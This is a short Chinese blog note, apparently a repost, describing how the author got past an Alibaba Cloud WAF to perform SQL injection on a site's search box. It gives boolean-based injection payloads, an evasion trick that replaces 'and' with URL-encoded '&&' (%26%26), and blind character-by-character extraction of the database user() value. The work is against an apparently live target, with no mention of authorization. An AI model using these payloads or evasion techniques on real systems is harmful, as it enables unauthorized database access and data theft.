绕过阿里云waf进行SQL注入

做个笔记吧,某SQL注入点的绕过,有阿里云waf的。

    首先遇到是个搜索框的注入点:

      演示下:

     

针对搜索框,我们的sql语句一般是怎么写的?

    本地演示:select * from product where pname like '%华为%'

      

我们如何进行注入判断?

select * from product where pname like '%华为%' and 1=1 and '%%'='%%'

select * from product where pname like '%华为%' and 1=2 and '%%'='%%'

      

那么我们的sql注入payload就是:%' and 1=1 and '%%'='%

我们尝试注入这段语句:

直接遭到了拦截,我猜测可能是对and进行了过滤。不允许出现and

在SQL注入测试中我们知道一个小技巧那就是

and可以用&&进行替代。

or可以用||进行替代。

  

因为我们的注入类型是GET类型,所以我们要对&&进行url编码:

  然后构造如下payload:%' %26%26 1=1 %26%26 '%%'='%

    

正确回显了数据,如果我们and 1=2呢:

不显示信息,现在我们可以说这里是存在SQL注入的

我们使用这种方法判断出存在注入,现在我们还要继续出数据,挖掘SQL注入漏洞最基本的得注入出user()或者是database()名字:

    我们对user()进行判断:

    输入payload:%' %26%26 user() like 'a%' %26%26 '%%'='%

返回没有输出内容,说明我们的user()第一位不是a

继续探测:

直到输入o

    

输出了正确的内容,说明user()第一位就是o。

做个记录。。

    

原文地址:https://www.cnblogs.com/piaomiaohongchen/p/10040196.html